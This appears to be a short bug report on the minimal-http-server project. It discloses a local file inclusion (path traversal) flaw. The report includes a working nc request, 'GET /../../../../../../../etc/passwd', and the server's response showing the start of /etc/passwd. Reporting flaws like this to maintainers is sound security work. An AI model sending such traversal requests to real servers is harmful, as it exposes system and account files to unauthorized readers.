minimal-http-server
minimal-http-server copied to clipboard
LFI vurnability
It is possible to read every file on the system using ../
try: [cotix@lithium ~]$ nc localhost 8080 GET /../../../../../../../etc/passwd HTTP/1.0
HTTP/1.0 200 OK Content-Type: text/plain
root: x:0:0:root:/root:/bin/bash ... rest of my /etc/passwd file